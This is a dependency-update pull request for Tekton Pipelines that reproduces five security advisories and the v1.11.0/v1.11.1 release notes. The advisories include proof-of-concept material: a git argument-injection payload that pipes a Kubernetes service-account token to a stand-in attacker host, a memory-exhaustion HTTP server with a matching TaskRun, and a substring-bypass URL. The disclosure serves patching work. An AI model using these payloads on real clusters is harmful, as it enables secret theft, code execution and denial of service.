Skip to content

chore(deps): update module github.com/tektoncd/pipeline to v1.11.1 [security] (main)#838

Open
redhat-renovate-bot wants to merge 1 commit intomainfrom
renovate/main-go-github.com-tektoncd-pipeline-vulnerability
Open

chore(deps): update module github.com/tektoncd/pipeline to v1.11.1 [security] (main)#838
redhat-renovate-bot wants to merge 1 commit intomainfrom
renovate/main-go-github.com-tektoncd-pipeline-vulnerability

Conversation

@redhat-renovate-bot
Copy link
Copy Markdown
Collaborator

@redhat-renovate-bot redhat-renovate-bot commented Apr 21, 2026

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Type Update Change
github.com/tektoncd/pipeline require minor v1.6.1v1.11.1

GitHub Vulnerability Alerts

CVE-2026-25542

Summary

The Trusted Resources verification system matches a resource source string (refSource.URI) against spec.resources[].pattern using Go's regexp.MatchString. In Go, regexp.MatchString reports a match if the pattern matches anywhere in the input string. As a result, common unanchored patterns—including examples found in Tekton documentation—can be bypassed by attacker-controlled source strings that contain the trusted pattern as a substring. This may cause an unintended policy match and alter which verification mode or keys are applied.

Affected Component

Impact

An attacker can craft a Trusted Resources source string that embeds a trusted substring and still matches an unanchored VerificationPolicy spec.resources[].pattern, even if the policy is intended to constrain matches to a specific trusted source. This occurs because regexp.MatchString succeeds on substring matches. For example, a pattern such as https://github.com/tektoncd/catalog.git would match an attacker-controlled source like https://evil.com/?x=https://github.com/tektoncd/catalog.git.

Affected: Deployments using Trusted Resources verification with unanchored VerificationPolicy patterns, where an attacker can influence the refSource.URI value used for policy matching.

Not affected: Deployments that anchor all patterns (^...$) or otherwise enforce full-string matching; deployments where attackers cannot influence refSource.URI.

Reproduction

Canonical (Demonstrates Vulnerability)

unzip -q -o poc.zip -d /tmp/poc-tekton-regex-001
cd /tmp/poc-tekton-regex-001/poc-F-TEKTON-REGEX-001
bash ./run.sh canonical | tee /tmp/tekton-regex-001-canonical.log
  • Expected (secure): Capability not reached; canonical does not emit vulnerability markers.
  • Actual (vulnerable): Capability reached; canonical emits vulnerability markers.
  • Canonical markers (mandatory): [CALLSITE_HIT] + [PROOF_MARKER]

Negative Control

bash ./run.sh control | tee /tmp/tekton-regex-001-control.log
  • Expected: Capability not reached under the same harness; control emits the control marker and does not emit vulnerability markers.
  • Control markers (mandatory): [CALLSITE_HIT] + [NC_MARKER]

Verification

grep -n '\[PROOF_MARKER\]' /tmp/tekton-regex-001-canonical.log \
  && grep -n '\[NC_MARKER\]' /tmp/tekton-regex-001-control.log \
  && ! grep -n '\[PROOF_MARKER\]' /tmp/tekton-regex-001-control.log

Suggested Fix

It is recommended to make matching safe-by-default by requiring full-string matches, or by validating patterns and clearly documenting substring semantics. Possible approaches include:

  1. Anchor patterns before matching — e.g., wrap pattern as ^(?:pattern)$ when not already anchored.
  2. Introduce a separate field for exact match vs. regex match semantics.
  3. Document substring semantics explicitly and update all documentation examples to include anchors.

A fix is considered accepted when, under the same harness, the canonical test still hits [CALLSITE_HIT] but does not emit [PROOF_MARKER].

Workarounds

Anchor all VerificationPolicy resource patterns so they must match the full source string. For example:

pattern: "^https://github\\.com/tektoncd/catalog\\.git$"

Proof Bundle

  • Bundle: poc.zip
  • Convention: The zip extracts under a single top-level folder (poc-F-TEKTON-REGEX-001/) to avoid collisions.
  • Contains: canonical.log, control.log, witness.txt
  • Extracted paths: ./poc/poc-F-TEKTON-REGEX-001/canonical.log, ./poc/poc-F-TEKTON-REGEX-001/control.log, ./poc/poc-F-TEKTON-REGEX-001/witness.txt
  • Integrity verification: Compare shasum -a 256 for canonical.log, control.log, fix.patch, and test source against witness.txt.

Note: If a supported integration uses verified HTTPS app-links or universal links only, provide the supported tag or branch and retesting on that pin can be arranged.


Tekton Pipelines: Git resolver API mode leaks system-configured API token to user-controlled serverURL

CVE-2026-40161 / GHSA-wjxp-xrpv-xpff

More information

Details

Summary

The Tekton Pipelines git resolver in API mode sends the system-configured Git API token to a user-controlled serverURL when the user omits the token parameter. A tenant with TaskRun or PipelineRun create permission can exfiltrate the shared API token (GitHub PAT, GitLab token, etc.) by pointing serverURL to an attacker-controlled endpoint.

Details

The git resolver's ResolveAPIGit() function in pkg/resolution/resolver/git/resolver.go constructs an SCM client using the user-supplied serverURL and a token obtained via getAPIToken().

When the user provides serverURL but omits the token parameter:

  1. getSCMTypeAndServerURL() reads serverURL directly from user params (params[ServerURLParam]) with no validation against the system-configured URL.

  2. secretRef is set to nil because the user did not provide a token parameter.

  3. getAPIToken(ctx, nil, APISecretNameKey) is called. It detects apiSecret == nil, creates a new secretCacheKey, and populates it from the system-configured secret (conf.APISecretName / conf.APISecretNamespace / SYSTEM_NAMESPACE).

  4. clientFunc(scmType, serverURL, string(apiToken)) creates an SCM client pointed at the attacker-controlled URL with the system token. The SCM factory sets the token as an Authorization header on the HTTP client.

  5. All subsequent API calls (Contents.Find, Git.FindCommit) carry the system token to the attacker URL.

Impact

The system Git API token (GitHub PAT, GitLab token, etc.) is exfiltrated to an attacker-controlled endpoint. This token typically has read access to private repositories containing source code, secrets, and CI/CD configurations.

This follows the same threat model as GHSA-j5q5-j9gm-2w5c (published March 2026): a namespace-scoped tenant with permission to create TaskRuns exploits the git resolver to exfiltrate credentials. The prior advisory involved reading the resolver pod's ServiceAccount token via path traversal. This finding involves redirecting the system Git API token via serverURL.

Patches

(to be filled in after fix is merged and released)

The fix validates that when serverURL is user-provided and differs from the system-configured server URL, the user must also provide their own token parameter. Using the system token with a non-system server URL is rejected.

Workarounds
  • Do not configure a system-level API token in the git resolver ConfigMap. Instead, require all users to provide their own tokens via the token parameter.
  • Restrict TaskRun creation — limit which users or ServiceAccounts can create TaskRuns and PipelineRuns that use the git resolver.
  • Network egress policies — apply NetworkPolicy to the tekton-pipelines-resolvers namespace to restrict outbound traffic to known-good Git servers only.
Affected Versions

All releases from v1.0.0 through v1.10.0, including all patch releases. The API mode of the git resolver has been present since the resolver was introduced.

Releases prior to v1.0.0 are not affected because the git resolver either did not exist or did not have API mode.

Acknowledgments

This vulnerability was reported by Koda Reef (@​kodareef5), who provided a detailed analysis and proof-of-concept. Thank you!

References
  • Prior advisory: GHSA-j5q5-j9gm-2w5c
  • Related: #​9608 (deprecate api-token-secret-namespace)
  • Related: #​9609 (SubjectAccessReview for resolver secrets)

Severity

  • CVSS Score: 7.7 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Tekton Pipelines has VerificationPolicy regex pattern bypass via substring matching

CVE-2026-25542 / GHSA-rmx9-2pp3-xhcr

More information

Details

Summary

The Trusted Resources verification system matches a resource source string (refSource.URI) against spec.resources[].pattern using Go's regexp.MatchString. In Go, regexp.MatchString reports a match if the pattern matches anywhere in the input string. As a result, common unanchored patterns—including examples found in Tekton documentation—can be bypassed by attacker-controlled source strings that contain the trusted pattern as a substring. This may cause an unintended policy match and alter which verification mode or keys are applied.

Affected Component
Impact

An attacker can craft a Trusted Resources source string that embeds a trusted substring and still matches an unanchored VerificationPolicy spec.resources[].pattern, even if the policy is intended to constrain matches to a specific trusted source. This occurs because regexp.MatchString succeeds on substring matches. For example, a pattern such as https://github.com/tektoncd/catalog.git would match an attacker-controlled source like https://evil.com/?x=https://github.com/tektoncd/catalog.git.

Affected: Deployments using Trusted Resources verification with unanchored VerificationPolicy patterns, where an attacker can influence the refSource.URI value used for policy matching.

Not affected: Deployments that anchor all patterns (^...$) or otherwise enforce full-string matching; deployments where attackers cannot influence refSource.URI.

Reproduction
Canonical (Demonstrates Vulnerability)
unzip -q -o poc.zip -d /tmp/poc-tekton-regex-001
cd /tmp/poc-tekton-regex-001/poc-F-TEKTON-REGEX-001
bash ./run.sh canonical | tee /tmp/tekton-regex-001-canonical.log
  • Expected (secure): Capability not reached; canonical does not emit vulnerability markers.
  • Actual (vulnerable): Capability reached; canonical emits vulnerability markers.
  • Canonical markers (mandatory): [CALLSITE_HIT] + [PROOF_MARKER]
Negative Control
bash ./run.sh control | tee /tmp/tekton-regex-001-control.log
  • Expected: Capability not reached under the same harness; control emits the control marker and does not emit vulnerability markers.
  • Control markers (mandatory): [CALLSITE_HIT] + [NC_MARKER]
Verification
grep -n '\[PROOF_MARKER\]' /tmp/tekton-regex-001-canonical.log \
  && grep -n '\[NC_MARKER\]' /tmp/tekton-regex-001-control.log \
  && ! grep -n '\[PROOF_MARKER\]' /tmp/tekton-regex-001-control.log
Suggested Fix

It is recommended to make matching safe-by-default by requiring full-string matches, or by validating patterns and clearly documenting substring semantics. Possible approaches include:

  1. Anchor patterns before matching — e.g., wrap pattern as ^(?:pattern)$ when not already anchored.
  2. Introduce a separate field for exact match vs. regex match semantics.
  3. Document substring semantics explicitly and update all documentation examples to include anchors.

A fix is considered accepted when, under the same harness, the canonical test still hits [CALLSITE_HIT] but does not emit [PROOF_MARKER].

Workarounds

Anchor all VerificationPolicy resource patterns so they must match the full source string. For example:

pattern: "^https://github\\.com/tektoncd/catalog\\.git$"
Proof Bundle
  • Bundle: poc.zip
  • Convention: The zip extracts under a single top-level folder (poc-F-TEKTON-REGEX-001/) to avoid collisions.
  • Contains: canonical.log, control.log, witness.txt
  • Extracted paths: ./poc/poc-F-TEKTON-REGEX-001/canonical.log, ./poc/poc-F-TEKTON-REGEX-001/control.log, ./poc/poc-F-TEKTON-REGEX-001/witness.txt
  • Integrity verification: Compare shasum -a 256 for canonical.log, control.log, fix.patch, and test source against witness.txt.

Note: If a supported integration uses verified HTTPS app-links or universal links only, provide the supported tag or branch and retesting on that pin can be arranged.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Tekton Pipelines: VolumeMount path restriction bypass via missing filepath.Clean in /tekton/ check

CVE-2026-40923 / GHSA-rx35-6rhx-7858

More information

Details

Summary

A validation bypass in the VolumeMount path restriction allows mounting volumes under restricted /tekton/ internal paths by using .. path traversal components. The restriction check uses strings.HasPrefix without filepath.Clean, so a path like /tekton/home/../results passes validation but resolves to /tekton/results at runtime.

Details

Tekton Pipelines restricts VolumeMount paths under /tekton/ (except /tekton/home) to prevent users from interfering with internal execution state. The validation at pkg/apis/pipeline/v1/container_validation.go checks mount paths using strings.HasPrefix without normalizing the path first:

if strings.HasPrefix(vm.MountPath, "/tekton/") &&
    !strings.HasPrefix(vm.MountPath, "/tekton/home") {
    // reject
}

Because /tekton/home is an allowed prefix, a path like /tekton/home/../results passes both checks. At runtime, the container runtime resolves .. and the actual mount point becomes /tekton/results.

The same pattern exists in pkg/apis/pipeline/v1beta1/task_validation.go.

Impact

An authenticated user with Task or TaskRun creation permissions can mount volumes over internal Tekton paths, potentially:

  • Writing fake task results that downstream pipelines trust
  • Reading or modifying step scripts before execution
  • Interfering with entrypoint coordination state
Patches

A patch is available at v1.11.1.

Workarounds
  • Use admission controllers (OPA/Gatekeeper, Kyverno) to validate that VolumeMount paths do not contain .. components.
  • In multi-tenant setups, restrict who can create Task and TaskRun resources via RBAC.
Affected Versions

All versions through v1.11.0 (both v1 and v1beta1 APIs).

Acknowledgments

This vulnerability was reported by @​kodareef5.

Severity

  • CVSS Score: 5.4 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Tekton Pipeline: Git Resolver Unsanitized Revision Parameter Enables git Argument Injection Leading to RCE

CVE-2026-40938 / GHSA-94jr-7pqp-xhcq

More information

Details

Summary

The git resolver's revision parameter is passed directly as a positional argument to git fetch without any validation that it does not begin with a - character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary git fetch flags such as --upload-pack=<binary>. Combined with the validateRepoURL function explicitly permitting URLs that begin with / (local filesystem paths), a tenant who can submit ResolutionRequest objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The tekton-pipelines-resolvers ServiceAccount holds cluster-wide get/list/watch on all Secrets, so code execution on the resolver pod enables full cluster-wide secret exfiltration.

Details
Root Cause 1 — Unvalidated revision parameter passed to git fetch

pkg/resolution/resolver/git/repository.go:85:

// pkg/resolution/resolver/git/repository.go lines 84-96
// 'revision' is the raw user-supplied string from the ResolutionRequest param.
// It is passed verbatim as a positional argument to git fetch:
func (repo *repository) checkout(ctx context.Context, revision string) error {
    _, err := repo.execGit(ctx, "fetch", "origin", revision, "--depth=1")
    // When revision == "--upload-pack=/usr/bin/curl", git parses it as the
    // --upload-pack flag, not as a refspec — executing the binary locally.
    if err != nil {
        return fmt.Errorf("fetch: %w", err)
    }
    _, err = repo.execGit(ctx, "checkout", "FETCH_HEAD")
    return err
}

execGit invokes exec.CommandContext("git", ...) — no shell is used, so shell metacharacters cannot be injected. However, git itself parses flags from mixed positional arguments. When revision = "--upload-pack=/path/to/binary", git receives this as the flag --upload-pack=/path/to/binary, not as a refspec. PopulateDefaultParams (resolver.go:418–424) applies only a leading-slash strip and a containsDotDot check on the pathInRepo parameter; the revision parameter receives no validation at all.

Root Cause 2 — validateRepoURL explicitly permits local filesystem paths

pkg/resolution/resolver/git/resolver.go:154-158:

// validateRepoURL validates if the given URL is a valid git, http, https URL or
// starting with a / (a local repository).
func validateRepoURL(url string) bool {
    pattern := `^(/|[^@&#8203;]+@&#8203;[^:]+|(git|https?)://)`
    re := regexp.MustCompile(pattern)
    return re.MatchString(url)
}

Any URL beginning with / passes validation and is used directly as the argument to git clone. This means a local filesystem path such as /tmp/some-repo is a valid resolver URL.

Exploit Chain

--upload-pack=<binary> causes git to execute the specified binary as the upload-pack server when communicating with the remote. For local-path remotes (/path), git invokes the binary on the resolver pod itself with the repository path as its sole argument. Because the argument is passed via exec.Command as a single --upload-pack=<binary> string (not split by a shell), only binaries at known paths can be invoked — but several useful binaries exist in the resolver pod image (e.g., /bin/sh, /usr/bin/curl, /bin/cp).

Attack complexity is High because the exploit requires either:

  • A valid git repository at a known, predicable path on the resolver pod (e.g., /tmp/<reponame>-<suffix> from a concurrent resolution), or
  • A default-URL configuration pointing at a local path
PoC
##### Step 1: Set up a local git repository to serve as the "origin"
##### (in a real attack, the attacker would time this against a concurrent clone

##### or use any pre-existing git repo path on the resolver pod)
git init /tmp/localrepo && cd /tmp/localrepo && git commit --allow-empty -m "init"

##### Step 2: Craft a ResolutionRequest with injected --upload-pack flag
kubectl create -f - <<'EOF'
apiVersion: resolution.tekton.dev/v1beta1
kind: ResolutionRequest
metadata:
  name: revision-injection-poc
  namespace: default
  labels:
    resolution.tekton.dev/type: git
spec:
  params:
    - name: url
      value: /tmp/localrepo
    - name: revision
      value: "--upload-pack=/usr/bin/curl http://c2.attacker.internal/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 -w0)"
    - name: pathInRepo
      value: README.md
EOF

##### The resolver pod executes:

##### git -C <tmpdir> fetch origin \
#####   "--upload-pack=/usr/bin/curl http://c2.attacker.internal/..." \

#####   --depth=1
#

##### For single-argument binaries (/bin/sh, /usr/bin/env, etc.):
##### git -C <tmpdir> fetch origin "--upload-pack=/bin/sh" --depth=1

##### Executes /bin/sh with the local repository path as argv[1].
##### From /bin/sh, the attacker can use a pre-staged script (e.g., written

##### via a workspace volume) to achieve arbitrary command execution.

Verified: git fetch origin --upload-pack=/tmp/test-exec.sh --depth=1 executes test-exec.sh on the local machine even when origin is a local filesystem path. Exit code 0 was observed with the test binary executed successfully.

Impact
  • Code execution on the resolver pod when an attacker can stage or predict a valid git repository path in /tmp on the resolver pod.
  • Full cluster-wide Secret exfiltration: The tekton-pipelines-resolvers ServiceAccount is bound to a ClusterRole that grants get/list/watch on all Secrets in all namespaces (config/resolvers/200-clusterrole.yaml). Code execution on the resolver pod is therefore equivalent to reading every Secret in the cluster.
  • Privilege escalation: Secrets typically include kubeconfig files, cloud provider credentials, and API tokens — reading them enables lateral movement to cloud infrastructure.
  • Both the deprecated resolver (pkg/resolution/resolver/git/) and the current resolver (pkg/remoteresolution/resolver/git/) share the same validateRepoURL, PopulateDefaultParams, and checkout implementation via the shared git package. Both are affected.
Recommended Fix

Fix 1 — Validate that revision does not begin with - in PopulateDefaultParams:

if strings.HasPrefix(paramsMap[RevisionParam], "-") {
    return nil, fmt.Errorf("invalid revision %q: must not begin with '-'", paramsMap[RevisionParam])
}

Fix 2 — Restrict validateRepoURL to remote URLs only (remove local-path support in production builds, or add an explicit admin opt-in feature flag):

func validateRepoURL(url string) bool {
    pattern := `^([^@&#8203;]+@&#8203;[^:]+|(git|https?)://)`
    re := regexp.MustCompile(pattern)
    return re.MatchString(url)
}

Applying Fix 1 alone is sufficient to prevent the argument injection. Fix 2 eliminates the enabling condition (local-path remotes for which --upload-pack runs locally) and reduces attack surface further.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Tekton Pipelines: HTTP Resolver Unbounded Response Body Read Enables Denial of Service via Memory Exhaustion

CVE-2026-40924 / GHSA-m2cx-gpqf-qf74

More information

Details

Summary

The HTTP resolver's FetchHttpResource function calls io.ReadAll(resp.Body) with no response body size limit. Any tenant with permission to create TaskRuns or PipelineRuns that reference the HTTP resolver can point it at an attacker-controlled HTTP server that returns a very large response body within the 1-minute timeout window, causing the tekton-pipelines-resolvers pod to be OOM-killed by Kubernetes. Because all resolver types (Git, Hub, Bundle, Cluster, HTTP) run in the same pod, crashing this pod denies resolution service to the entire cluster. Repeated exploitation causes a sustained crash loop. The same vulnerable code path is reached by both the deprecated pkg/resolution/resolver/http and the current pkg/remoteresolution/resolver/http implementations.

Details

pkg/resolution/resolver/http/resolver.go:279–307:

func FetchHttpResource(ctx context.Context, params map[string]string,
    kubeclient kubernetes.Interface, logger *zap.SugaredLogger) (framework.ResolvedResource, error) {

    httpClient, err := makeHttpClient(ctx)  // default timeout: 1 minute
    // ...
    resp, err := httpClient.Do(req)
    // ...
    defer func() { _ = resp.Body.Close() }()

    body, err := io.ReadAll(resp.Body)  // ← no size limit
    if err != nil {
        return nil, fmt.Errorf("error reading response body: %w", err)
    }
    // ...
}

makeHttpClient sets http.Client{Timeout: timeout} where timeout defaults to 1 minute and is configurable via fetch-timeout in the http-resolver-config ConfigMap. The timeout bounds the duration of the entire request (including body read), which limits slow-drip attacks. However, it does not limit the total number of bytes allocated. A fast HTTP server can deliver multi-gigabyte responses well within the 1-minute window.

The resolver deployment (config/core/deployments/resolvers-deployment.yaml) sets a 4 GiB memory limit on the controller container. A response of 4 GiB or larger delivered at wire speed will cause io.ReadAll to allocate 4 GiB, triggering an OOM-kill. With the default timeout of 60 seconds, a server delivering at 100 MB/s can supply 6 GB — well above the 4 GiB limit — before the timeout fires.

The remoteresolution HTTP resolver (pkg/remoteresolution/resolver/http/resolver.go:90) delegates directly to the same FetchHttpResource function and is equally affected.

PoC
##### Step 1: Run an HTTP server that streams a large response fast
python3 - <<'EOF'
import http.server, socketserver

class LargeResponseHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.end_headers()
        # Stream 5 GB at full speed — completes in <60s on a local network
        chunk = b"X" * (1024 * 1024)  # 1 MiB chunk
        for _ in range(5120):          # 5120 * 1 MiB = 5 GiB
            self.wfile.write(chunk)

    def log_message(self, *args):
        pass

with socketserver.TCPServer(("", 8080), LargeResponseHandler) as httpd:
    httpd.serve_forever()
EOF

##### Step 2: Create a TaskRun that triggers the HTTP resolver
kubectl create -f - <<'EOF'
apiVersion: tekton.dev/v1
kind: TaskRun
metadata:
  name: dos-poc
  namespace: default
spec:
  taskRef:
    resolver: http
    params:
      - name: url
        value: http://attacker-server.internal:8080/large-payload
EOF

##### Expected result: tekton-pipelines-resolvers pod is OOM-killed.

##### All resolver types in the cluster (git, hub, bundle, cluster, http)
##### become unavailable until Kubernetes restarts the pod.

##### Repeated submission causes a crash loop that continuously disrupts
##### resolution for all tenants in the cluster.

Note: On clusters where operators have set a higher fetch-timeout (e.g., 10m), the attacker has more time to deliver a larger body, and the attack is more reliable. On clusters with tight memory limits on the resolver pod, a smaller payload suffices.

Impact
  • Denial of Service: OOM-kill of the tekton-pipelines-resolvers pod denies all resolution services cluster-wide until Kubernetes restarts the pod.
  • Crash loop amplification: A tenant can submit multiple concurrent TaskRuns pointing to the attack server. Each in-flight resolution request accumulates memory independently in the same pod, reducing the payload size needed to reach the OOM threshold.
  • Blast radius: Because all resolver types share a single pod, disrupting the HTTP resolver also disrupts unrelated users of the Git, Bundle, Cluster, and Hub resolvers. This is a cluster-wide availability impact achievable by a single namespace-level user.
Recommended Fix

Wrap resp.Body with io.LimitReader before passing to io.ReadAll. Add a configurable max-body-size option to the http-resolver-config ConfigMap with a sensible default (e.g., 50 MiB, which exceeds the size of any realistic pipeline YAML file):

const defaultMaxBodyBytes = 50 * 1024 * 1024 // 50 MiB

// In FetchHttpResource, replace:
//   body, err := io.ReadAll(resp.Body)
// with:
maxBytes := int64(defaultMaxBodyBytes)
if v, ok := conf["max-body-size"]; ok {
    if parsed, err := strconv.ParseInt(v, 10, 64); err == nil {
        maxBytes = parsed
    }
}
limitedReader := io.LimitReader(resp.Body, maxBytes+1)
body, err := io.ReadAll(limitedReader)
if err != nil {
    return nil, fmt.Errorf("error reading response body: %w", err)
}
if int64(len(body)) > maxBytes {
    return nil, fmt.Errorf("response body exceeds maximum allowed size of %d bytes", maxBytes)
}

This fix must be applied to FetchHttpResource in pkg/resolution/resolver/http/resolver.go, which is shared by both the deprecated and current HTTP resolver implementations.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

tektoncd/pipeline (github.com/tektoncd/pipeline)

v1.11.1: Tekton Pipeline release v1.11.1 "Javanese Jocasta"

Compare Source

-Docs @​ v1.11.1
-Examples @​ v1.11.1

Installation one-liner

kubectl apply -f https://infra.tekton.dev/tekton-releases/pipeline/previous/v1.11.1/release.yaml

Attestation

The Rekor UUID for this release is 108e9186e8c5677a51c33e77fb56b7f99fdf192905340ce9abdc60589cba2da3451c60ad738768c2

Obtain the attestation:

REKOR_UUID=108e9186e8c5677a51c33e77fb56b7f99fdf192905340ce9abdc60589cba2da3451c60ad738768c2
rekor-cli get --uuid $REKOR_UUID --format json | jq -r .Attestation | jq .

Verify that all container images in the attestation are in the release file:

RELEASE_FILE=https://infra.tekton.dev/tekton-releases/pipeline/previous/v1.11.1/release.yaml
REKOR_UUID=108e9186e8c5677a51c33e77fb56b7f99fdf192905340ce9abdc60589cba2da3451c60ad738768c2

# Obtains the list of images with sha from the attestation
REKOR_ATTESTATION_IMAGES=$(rekor-cli get --uuid "$REKOR_UUID" --format json | jq -r .Attestation | jq -r '.subject[]|.name + ":v1.11.1@&#8203;sha256:" + .digest.sha256')

# Download the release file
curl -L "$RELEASE_FILE" > release.yaml

# For each image in the attestation, match it to the release file
for image in $REKOR_ATTESTATION_IMAGES; do
  printf $image; grep -q $image release.yaml && echo " ===> ok" || echo " ===> no match";
done

Changes

⚠️ Security Fixes
  • GHSA-wjxp-xrpv-xpff / CVE-2026-40161 (HIGH): Git resolver API mode leaks system-configured API token to user-controlled serverURL. A user who can create TaskRuns can exfiltrate the system Git API token by pointing the resolver at an attacker-controlled server.

  • GHSA-94jr-7pqp-xhcq / CVE-2026-40938 (HIGH): Git resolver unsanitized revision parameter enables argument injection. A malicious revision value can inject arbitrary flags into the git CLI, potentially leading to remote code execution on the resolver pod.

  • GHSA-rx35-6rhx-7858 / CVE-2026-40923 (Medium): VolumeMount path restriction bypass via missing filepath normalization. Paths like /tekton/../sensitive bypass the /tekton/ prefix restriction check.

  • GHSA-rmx9-2pp3-xhcr / CVE-2026-25542 (Medium): VerificationPolicy regex pattern bypass via substring matching. Unanchored patterns allow partial matches, letting unsigned resources pass verification.

  • GHSA-m2cx-gpqf-qf74 / CVE-2026-40924 (Medium): HTTP resolver unbounded response body read enables OOM denial of service. A malicious URL returning a very large response can exhaust the resolver pod's memory. Response body is now limited to 1 MiB.

Fixes
  • 🐛 Bump google.golang.org/grpc from 1.79.3 to 1.80.0

v1.11.0: Tekton Pipeline release v1.11.0 "Javanese Jocasta"

Compare Source

🎉 🐱 TaskRun pending parity, multiple Git credentials, and PVC auto-cleanup 🤖 🎉

-Docs @​ v1.11.0
-Examples @​ v1.11.0

Installation one-liner

kubectl apply -f https://infra.tekton.dev/tekton-releases/pipeline/previous/v1.11.0/release.yaml

Attestation

The Rekor UUID for this release is 108e9186e8c5677ae7cc1db0d04d478cc74a86ca458747f1ca41fe102d4ec5f14a6f8ec59c48facd

Obtain the attestation:

REKOR_UUID=108e9186e8c5677ae7cc1db0d04d478cc74a86ca458747f1ca41fe102d4ec5f14a6f8ec59c48facd
rekor-cli get --uuid $REKOR_UUID --format json | jq -r .Attestation | jq .

Verify that all container images in the attestation are in the release file:

RELEASE_FILE=https://infra.tekton.dev/tekton-releases/pipeline/previous/v1.11.0/release.yaml
REKOR_UUID=108e9186e8c5677ae7cc1db0d04d478cc74a86ca458747f1ca41fe102d4ec5f14a6f8ec59c48facd

# Obtains the list of images with sha from the attestation
REKOR_ATTESTATION_IMAGES=$(rekor-cli get --uuid "$REKOR_UUID" --format json | jq -r .Attestation | jq -r '.subject[]|.name + ":v1.11.0@&#8203;sha256:" + .digest.sha256')

# Download the release file
curl -L "$RELEASE_FILE" > release.yaml

# For each image in the attestation, match it to the release file
for image in $REKOR_ATTESTATION_IMAGES; do
  printf $image; grep -q $image release.yaml && echo " ===> ok" || echo " ===> no match";
done

Changes

Features

  • ✨ feat(webhook): Bump knative.dev/pkg to enable centrally managed WEBHOOK_* TLS for the webhook (#​9466)

Bump knative.dev/pkg to enable centralized WEBHOOK_* TLS configuration for the webhook (min/max version, cipher suites, curves).
Webhook now inherits TLS policy from environment (operator/cluster); defaults remain TLS 1.3 when unset.

  • ✨ Add multi-URL support and per-resolution url param to Hub Resolver (#​9465)

dd multi-URL support and per-resolution url parameter to Hub Resolver, enabling ordered fallback across multiple hub instances and explicit URL targeting per resolution request.

  • ✨ Add pending status support for TaskRun (parity with PipelineRun) (#​9464)

TaskRun now supports spec.status: TaskRunPending to defer execution.
When pending, no Pod is created and status.startTime is not set.
Clearing spec.status starts execution, or setting TaskRunCancelled cancels without running.

  • ✨ feat: add optional PVC auto-cleanup annotation for workspaces mode (#​9354)

Add optional PVC auto-cleanup for workspaces mode via tekton.dev/auto-cleanup-pvc: "true" annotation. When set on a PipelineRun using coschedule: workspaces, PVCs created from volumeClaimTemplate workspaces are automatically deleted on completion. User-provided persistentVolumeClaim workspaces are never affected.

  • ✨ Add Gitea e2e tests to CI (#​9442)
Fixes
  • 🐛 Fix: Add SSH Host aliases to support multiple SSH credentials on same host (#​9643)

Fixed SSH credential matching to support multiple repositories on the same host with different SSH keys. Previously, when using multiple SSH auth secrets for different repositories on the same Git server (e.g., github.com/org/repo1 and github.com/org/repo2), SSH would use the first key for all repositories, causing authentication failures with deploy keys. SSH Host aliases and Git url.*.insteadOf rewriting now enable per-repository SSH key selection when the secret annotation URL includes a repo path.

  • 🐛 fix: make step-init symlink creation idempotent (#​9600)

ix entrypoint step-init to handle container restarts gracefully. Previously, if a container restarted within a pod (e.g. due to OOM or eviction), the init process would fail with "symlink: file exists" because symlinks from the previous run persisted on the shared volume.

  • 🐛 fix: replace silent default namespace fallback with explicit error in GetNameAndNamespace (#​9594)

eplace silent "default" namespace fallback in GetNameAndNamespace with an explicit error, preventing potential ResolutionRequest creation in wrong namespace.

  • 🐛 fix: resolve context key collision and ownerRef nil panic in resolution framework (#​9593)

ix context key collision in resolution framework where RequestName() silently returned the namespace value, and fix nil pointer panic in ownerRefsAreEqual when both Controller fields are nil.

  • 🐛 fix: cluster resolver namespace access control whitespace and wildcard bugs (#​9592)

ix cluster resolver namespace access control: trim whitespace in allowed/blocked namespace lists, fix wildcard (*) handling when combined with explicit entries, and reject empty default-namespace values.

  • 🐛 fix: convert pod latency metric to histogram and remove pod label (#​9530)

ction required: The tekton_pipelines_controller_taskruns_pod_latency_milliseconds metric has been converted from a Gauge to a Histogram and the pod label has been removed. Dashboards or alerts referencing this metric will need to be updated to use histogram_quantile() instead of direct value queries.

  • 🐛 fix: use hashed volume names to prevent credential volume name collisions (#​9528)

ix credential volume name collisions when namespaces have many (118+)
annotated secrets. Volume names now use deterministic SHA-256 hashing
instead of truncation with random suffix.

  • 🐛 Fix running_taskruns metric overcounting TaskRuns with no condition (#​9485)

Fixed overcounting in the running_taskruns metric for TaskRuns with no condition set yet.

  • 🐛 fix: propagate PipelineRun tasks/finally timeout to child TaskRuns (#​9419)

When spec.timeouts.tasks or spec.timeouts.finally on a PipelineRun exceeds the global default timeout, the value is now propagated to individual child TaskRuns that do not have an explicit per-task timeout. This prevents TaskRuns from being prematurely canceled at the global default (e.g., 1h) when the PipelineRun allows a longer duration.

  • 🐛 Bugfix: deduplicate concurrent resolver cache requests with singleflight. (#​9365)

Fix resolver cache race condition causing duplicate upstream pulls under concurrent load.

  • 🐛 Fix: Add useHttpPath to support multiple Git credentials on same host (#​9143)

Fixed Git credential matching to support multiple repositories on the same host with different credentials. Previously, when using multiple secrets for different repositories on the same Git server (e.g., github.com/org/repo1 and github.com/org/repo2), it incorrectly use the first credential for all repositories, causing authentication failures. Git credential contexts now include useHttpPath = true, enabling proper per-repository credential selection.

